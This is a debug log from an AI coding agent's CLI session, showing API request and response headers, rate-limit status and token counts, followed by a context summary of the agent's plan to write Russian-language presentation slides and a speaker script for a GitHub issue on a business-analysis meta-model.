\u0437\u0430\u0434\u0430\u0447\u0443 \u043a\u0430\u043a **\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438** 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:14.399Z] [STDOUT] [log_b1a75b] response parsed {\n[2026-09-29T07:46:14.403Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:14.409Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:14.416Z] [STDOUT]   body: X {\n[2026-09-29T07:46:14.436Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:14.457Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:14.471Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:14.486Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:14.494Z] [STDOUT]     },\n[2026-09-29T07:46:14.497Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:14.503Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:14.513Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:14.517Z] [STDOUT]   },\n[2026-09-29T07:46:14.521Z] [STDOUT]   durationMs: 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\"org_level_disabled\",\n[2026-09-29T07:46:16.517Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:16.521Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:16.524Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:16.527Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.530Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:16.535Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:16.539Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:16.541Z] [STDOUT]     \"cf-ray\": \"a4295f7ffbaf4d8b-FRA\",\n[2026-09-29T07:46:16.545Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:16.550Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:16.553Z] [STDOUT]     \"content-security-policy\": \"default-src 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:16.619Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:16 GMT\",\n[2026-09-29T07:46:16.623Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:16.626Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:16.630Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:16.633Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:16.636Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:16.641Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:16.647Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:16.651Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:16.656Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:16.663Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:16.669Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:16.673Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:16.679Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:16.683Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:16.688Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:16.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.695Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:16.700Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:16.704Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:16.707Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:16.711Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:16.714Z] [STDOUT]   \"request-id\": \"req_011CfXMpWUAUA14gXjG4mkbw\",\n[2026-09-29T07:46:16.718Z] [STDOUT]   \"traceresponse\": \"00-d5d281f5976543a9d4d5f3c702195be3-6e76a717dba316e3-01\",\n[2026-09-29T07:46:16.722Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:16.725Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:16.729Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:16.740Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:16.750Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:16.754Z] [STDOUT]   \"cf-ray\": \"a4295f7ffbaf4d8b-FRA\",\n[2026-09-29T07:46:16.762Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:16.769Z] [STDOUT] [log_1d1147] response parsed {\n[2026-09-29T07:46:16.772Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:16.779Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:16.787Z] [STDOUT]   body: X {\n[2026-09-29T07:46:16.794Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:16.797Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:16.801Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:16.804Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:16.817Z] [STDOUT]     },\n[2026-09-29T07:46:16.822Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:16.826Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:16.829Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:16.831Z] [STDOUT]   },\n[2026-09-29T07:46:16.835Z] [STDOUT]   durationMs: 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[INFO]       }\n[2026-09-29T07:46:16.855Z] [INFO]     ],\n[2026-09-29T07:46:16.855Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:16.855Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:16.855Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_creation_input_tokens\": 3361,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_read_input_tokens\": 86630,\n[2026-09-29T07:46:16.855Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:16.855Z] [INFO]         \"ephemeral_5m_input_tokens\": 3361,\n[2026-09-29T07:46:16.855Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:16.855Z] [INFO]       },\n[2026-09-29T07:46:16.855Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:16.855Z] [INFO]       \"service_tier\": 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},\n[2026-09-29T07:46:18.666Z] [STDOUT]   },\n[2026-09-29T07:46:18.674Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.678Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:18.683Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:46:18.687Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:18.691Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:18.698Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:18.700Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:18.705Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:18.713Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:18.721Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:46:18.729Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:18.733Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:18.743Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:18.751Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:18.757Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:18.761Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:18.774Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:18.786Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:18.790Z] [STDOUT]   },\n[2026-09-29T07:46:18.795Z] [STDOUT] }\n[2026-09-29T07:46:18.804Z] [STDOUT] [log_1f828b, request-id: \"req_011CfXMpfrUkmPkquwqVhZoH\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 195ms\n[2026-09-29T07:46:18.818Z] [STDOUT] [log_1f828b] response start {\n[2026-09-29T07:46:18.825Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.827Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.831Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.839Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:18.847Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:18.853Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:18.859Z] [STDOUT]     \"cf-ray\": \"a4295f8def7b4d8b-FRA\",\n[2026-09-29T07:46:18.864Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:18.872Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:18.877Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:18.880Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:18.884Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:18.886Z] [STDOUT]     \"request-id\": \"req_011CfXMpfrUkmPkquwqVhZoH\",\n[2026-09-29T07:46:18.892Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:18.895Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=82\",\n[2026-09-29T07:46:18.900Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:18.903Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:18.905Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:18.908Z] [STDOUT]   },\n[2026-09-29T07:46:18.911Z] [STDOUT]   durationMs: 195,\n[2026-09-29T07:46:18.915Z] [STDOUT] }\n[2026-09-29T07:46:18.918Z] [STDOUT] [log_1f828b] response parsed {\n[2026-09-29T07:46:18.923Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.927Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.930Z] [STDOUT]   body: {\n[2026-09-29T07:46:18.932Z] [STDOUT]     input_tokens: 7177,\n[2026-09-29T07:46:18.937Z] [STDOUT]     _request_id: \"req_011CfXMpfrUkmPkquwqVhZoH\",\n[2026-09-29T07:46:18.946Z] [STDOUT]   },\n[2026-09-29T07:46:18.952Z] [STDOUT]   durationMs: 196,\n[2026-09-29T07:46:18.962Z] [STDOUT] }\n[2026-09-29T07:46:18.971Z] [STDOUT] [log_c9aec9, request-id: \"req_011CfXMpftDZSEVgeoKTSmjf\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 208ms\n[2026-09-29T07:46:18.979Z] [STDOUT] [log_c9aec9] response start {\n[2026-09-29T07:46:18.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:18.988Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:18.992Z] [STDOUT]   headers: {\n[2026-09-29T07:46:18.996Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:18.999Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.002Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.009Z] [STDOUT]     \"cf-ray\": \"a4295f8de997dbb5-FRA\",\n[2026-09-29T07:46:19.027Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.047Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.059Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.064Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.070Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.074Z] [STDOUT]     \"request-id\": \"req_011CfXMpftDZSEVgeoKTSmjf\",\n[2026-09-29T07:46:19.080Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.086Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=95\",\n[2026-09-29T07:46:19.088Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.090Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.096Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.099Z] [STDOUT]   },\n[2026-09-29T07:46:19.101Z] [STDOUT]   durationMs: 208,\n[2026-09-29T07:46:19.108Z] [STDOUT] }\n[2026-09-29T07:46:19.112Z] [STDOUT] [log_c9aec9] response parsed {\n[2026-09-29T07:46:19.122Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.126Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.132Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.139Z] [STDOUT]     input_tokens: 9178,\n[2026-09-29T07:46:19.146Z] [STDOUT]     _request_id: \"req_011CfXMpftDZSEVgeoKTSmjf\",\n[2026-09-29T07:46:19.159Z] [STDOUT]   },\n[2026-09-29T07:46:19.164Z] [STDOUT]   durationMs: 209,\n[2026-09-29T07:46:19.166Z] [STDOUT] }\n[2026-09-29T07:46:19.169Z] [STDOUT] [log_305ee8, request-id: \"req_011CfXMpg1QgHm99ZhLbjF3D\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 240ms\n[2026-09-29T07:46:19.172Z] [STDOUT] [log_305ee8] response start {\n[2026-09-29T07:46:19.177Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.181Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.184Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.189Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.192Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.195Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.205Z] [STDOUT]     \"cf-ray\": \"a4295f8e2da301ff-CDG\",\n[2026-09-29T07:46:19.210Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.213Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.218Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.220Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.223Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.225Z] [STDOUT]     \"request-id\": \"req_011CfXMpg1QgHm99ZhLbjF3D\",\n[2026-09-29T07:46:19.231Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.234Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=95\",\n[2026-09-29T07:46:19.237Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.240Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.244Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.247Z] [STDOUT]   },\n[2026-09-29T07:46:19.248Z] [STDOUT]   durationMs: 240,\n[2026-09-29T07:46:19.250Z] [STDOUT] }\n[2026-09-29T07:46:19.253Z] [STDOUT] [log_305ee8] response parsed {\n[2026-09-29T07:46:19.256Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.258Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.262Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.270Z] [STDOUT]     input_tokens: 6854,\n[2026-09-29T07:46:19.273Z] [STDOUT]     _request_id: \"req_011CfXMpg1QgHm99ZhLbjF3D\",\n[2026-09-29T07:46:19.277Z] [STDOUT]   },\n[2026-09-29T07:46:19.280Z] [STDOUT]   durationMs: 240,\n[2026-09-29T07:46:19.282Z] [STDOUT] }\n[2026-09-29T07:46:19.286Z] [STDOUT] [log_6a6d71, request-id: \"req_011CfXMpg58F6eKs7CVXoyr6\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 263ms\n[2026-09-29T07:46:19.290Z] [STDOUT] [log_6a6d71] response start {\n[2026-09-29T07:46:19.294Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.300Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.306Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.312Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.316Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.319Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.326Z] [STDOUT]     \"cf-ray\": \"a4295f8e1901dbd4-FRA\",\n[2026-09-29T07:46:19.332Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.336Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.343Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.347Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.350Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.353Z] [STDOUT]     \"request-id\": \"req_011CfXMpg58F6eKs7CVXoyr6\",\n[2026-09-29T07:46:19.362Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.368Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=121\",\n[2026-09-29T07:46:19.372Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.375Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.385Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.388Z] [STDOUT]   },\n[2026-09-29T07:46:19.393Z] [STDOUT]   durationMs: 263,\n[2026-09-29T07:46:19.396Z] [STDOUT] }\n[2026-09-29T07:46:19.400Z] [STDOUT] [log_6a6d71] response parsed {\n[2026-09-29T07:46:19.406Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.409Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.411Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.414Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:46:19.416Z] [STDOUT]     _request_id: \"req_011CfXMpg58F6eKs7CVXoyr6\",\n[2026-09-29T07:46:19.421Z] [STDOUT]   },\n[2026-09-29T07:46:19.425Z] [STDOUT]   durationMs: 264,\n[2026-09-29T07:46:19.430Z] [STDOUT] }\n[2026-09-29T07:46:19.433Z] [STDOUT] [log_999b2d, request-id: \"req_011CfXMpg3NvinZPcf3sC6Ly\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 279ms\n[2026-09-29T07:46:19.439Z] [STDOUT] [log_999b2d] response start {\n[2026-09-29T07:46:19.445Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.451Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.454Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.462Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.464Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.466Z] [STDOUT]     \"cf-ray\": \"a4295f8e39c26ec7-CDG\",\n[2026-09-29T07:46:19.468Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.472Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.478Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.481Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.483Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.485Z] [STDOUT]     \"request-id\": \"req_011CfXMpg3NvinZPcf3sC6Ly\",\n[2026-09-29T07:46:19.488Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.493Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=122\",\n[2026-09-29T07:46:19.497Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.500Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.506Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.515Z] [STDOUT]   },\n[2026-09-29T07:46:19.530Z] [STDOUT]   durationMs: 279,\n[2026-09-29T07:46:19.545Z] [STDOUT] }\n[2026-09-29T07:46:19.558Z] [STDOUT] [log_999b2d] response parsed {\n[2026-09-29T07:46:19.565Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.570Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.574Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.579Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:46:19.586Z] [STDOUT]     _request_id: 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The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\nStatus: research is mostly done, no documents are written yet, and the two research agents are still running.\\n\\n1. **Primary request and intent**\\n   - Resolve issue https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\\n   - Working directory: /tmp/gh-issue-solver-1790667776920. Branch: `issue-646-497e337ac092`. Existing draft PR: #648 (https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648).\\n   - Issue mode: Creative. Task type: Documentation/Presentation. Deliver two linked Markdown documents, in Russian like the issue:\\n     - **Doc 1, slide template.** Seven meaning blocks:\\n       1. Scope: BA in large-client teams (high complexity, compliance).\\n       2. Pain: the gap between raw requests and a finished spec, manual operations, and loss of standards and context at handoff.\\n       3. Meta-model: Product \u2192 Process \u2192 Operation \u2192 Artifact.\\n       4. Breakthrough: the hypothesis that cognitive operations resist direct AI generation. The answer is to digitize cognitive operations into strict prompts and machine-readable contracts with fail-closed validation.\\n       5. Pipeline: normalize requests \u2192 reconcile with docs and cases \u2192 generate from golden templates with source links \u2192 G-human gate \u2192 auto-translate into contract or development format.\\n       6. Runtime: pilot on the user workstation (GigaCode CLI / Cline) \u2192 server Environment 4 with a single orchestrator core.\\n       7. Scaling: controlling the output standard guarantees a seamless handoff to systems analysis and development.\\n     - Each slide needs: a number, an assertion headline, 3\u20135 bullets, a highlighted quote or metric, and an image-generation prompt (Midjourney/DALL-E style).\\n     - **Doc 2, speaker script.** Synced to the slide numbers. It explains \\\"why\\\" and \\\"how\\\", links the slides with transitions, stresses the empirical base (60+ runs in mango_ba_prompts), and answers likely questions from a technical leader.\\n   - Definition of Done:\\n     - Both documents exist, and the text shows the evolution from the prompt repository to the Hub meta-model.\\n     - They follow industry practice: Assertion-Evidence, minimal text, no filler, no marketing slogans.\\n     - Every link to repository artifacts is a full absolute URL.\\n     - The task is moved to `review` (practically: mark PR #648 ready and describe it).\\n   - The executor decides the wording and structure; micromanagement is forbidden.\\n   - Solver-system instructions to follow:\\n     - Commit atomic steps and push only to branch `issue-646-497e337ac092`.\\n     - Update PR #648 with `gh pr edit` and run `gh pr ready 648` at the end.\\n     - Remove the `.gitkeep` added by the initial commit.\\n     - Run local validators before committing.\\n     - Merge main into the branch if needed, check CI, and check for latest comments on the issue and PR.\\n     - Save experiment scripts in `./experiments` if any are created.\\n\\n2. **Repository rules (from AGENTS.md and CONTRIBUTING.md)**\\n   - Direction-scoped artifacts live in `projects//`, so the documents belong under `projects/ba-ai-process/`.\\n   - The documents need YAML frontmatter:\\n     - Keys: `status`, `version`, `updated`, `temperature`, `type`, `scope: mango-only`, `source`, `related_artifacts`, `related_issues`.\\n     - Values: `status: draft` is likely right; `updated: 2026-09-29`; `source: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"`.\\n     - Never use `ai-generated` in frontmatter.\\n   - Do not change `standards/` or root `docs/adr/`, and do not create `docs/contracts/`.\\n   - Check the backlog, and do not add the current task retrospectively. Grep found no presentation or #646 entry in `ops/backlog.md`.\\n   - Validators to run before committing:\\n     - `tools/test-*.sh`\\n     - `./tools/validate-frontmatter.sh .`\\n     - `./tools/validate-file-naming.sh`\\n     - `./tools/validate-repository-structure.sh`\\n     - `./tools/validate-rrp-links.sh`\\n     - `python3 tools/generate-manifest.py --check`\\n   - CONTRIBUTING also asks to update navigation, CHANGELOG.md and `ops/artifact-map.md` if a new active artifact becomes part of the public contract. At minimum, add links from `projects/ba-ai-process/README.md`.\\n   - Under hybrid_work rules, the PR body must record gaps, the strategic risk, and backlog proposals.\\n   - Candidate placement: `projects/ba-ai-process/docs/` in a new `presentation/` folder, or under `docs/report/`. Possible names:\\n     - `2026-09-29-meta-model-presentation-slides.md`\\n     - `2026-09-29-meta-model-presentation-speaker-script.md`\\n   - File naming must pass `validate-file-naming.sh`; check its rules first.\\n\\n3. **Sources gathered (verified facts to use)**\\n\\n   **Meta-model (`projects/ba-ai-process/ba-meta-model/`, v0.4, author G-Ivan-A)**\\n   - 11 canonical entities: Product, System, Artifact, Operation, Skill, Process, Route, Actor, Gate, Contract, Trace.\\n   - Production law: `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human) \u2500\u2500\u25b6 Artifact_out + Trace`.\\n   - Invariants:\\n     - MM-1: no step without a declared input; 50 of 67 runs declare no input.\\n     - MM-2: no gate without a contract.\\n     - MM-3: every output carries a Trace.\\n     - MM-4: product class is declared before the step, not inferred; lexical markers give more than one domain for 66 of 67 runs.\\n   - Hierarchy: Process \u2192 